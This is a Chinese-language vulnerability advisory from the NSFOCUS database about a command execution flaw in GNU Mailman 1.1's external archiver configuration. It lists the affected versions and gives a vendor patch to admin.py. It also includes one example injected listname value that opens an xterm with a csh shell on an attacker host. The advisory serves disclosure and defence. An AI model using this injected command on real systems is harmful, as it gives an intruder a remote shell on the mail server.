首页 -> 安全研究

安全研究

安全漏洞
Mailman 1.1 远程执行命令漏洞

发布日期:2000-09-12
更新日期:2000-09-12

受影响系统:

GNU Mailman 1.1
   + 所有安装了此版本的Unix/Linux系统
不受影响系统:

GNU Mailman 2.0beta5
GNU Mailman 2.0beta4
描述:

Mailman的配置文件中使用的一些变量可以由邮件列表管理员指定。例如在$prefix/Mailman/mm_cfg.py配置文件中
可能有下列配置语句:

PUBLIC_EXTERNAL_ARCHIVER = '(mhonarc -add -nolock -umask 023 -rcfile rc.%(listname)s -outdir /mnt/WWW/htdocs/lists/%(listname)s)'

这里(listname)的值可以被邮件列表的管理员创建,如果,这个值被设置成一些系统命令,当消息被发送到这个列表
时,系统就会执行这些命令,例如,如果listname的值设置成了:

`/usr/X11R6/bin/xterm -display www.attacker.com:0 -e /bin/csh`

攻击者就可以在自己的机器上打开一个mailman主机的xterm窗口。





测试方法:

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!




建议:

厂商补丁:

升级到Mailman的最新版本2.0beta4/5,或者安装下面提供的补丁:

-------------------- snip snip --------------------
*** admin.py.bak Mon Mar 13 21:03:53 2000
--- admin.py Mon Mar 13 21:04:51 2000
***************
*** 784,789 ****
--- 784,800 ----
val = cgi_info[property].value
value = GetValidValue(lst, property, kind, val, deps)
if getattr(lst, property) != value:
+ # TBD: Ensure that lst.real_name differs only in letter
+ # case. Otherwise a security hole can potentially be opened
+ # when using an external archiver. This seems ad-hoc and
+ # could use a more general security policy.
+ if property == 'real_name' and \
+ string.lower(value) <> string.lower(lst._internal_name):
+ # then don't install this value.
+ document.AddItem("""<p><b>real_name</b> attribute not
+ changed! It must differ from the list's name by case
+ only.<p>""")
+ continue
setattr(lst, property, value)
dirty = 1
#
-------------------- snip snip --------------------


浏览次数:6599
严重程度:0(网友投票)
本安全漏洞由绿盟科技翻译整理,版权所有,未经许可,不得转载
绿盟科技给您安全的保障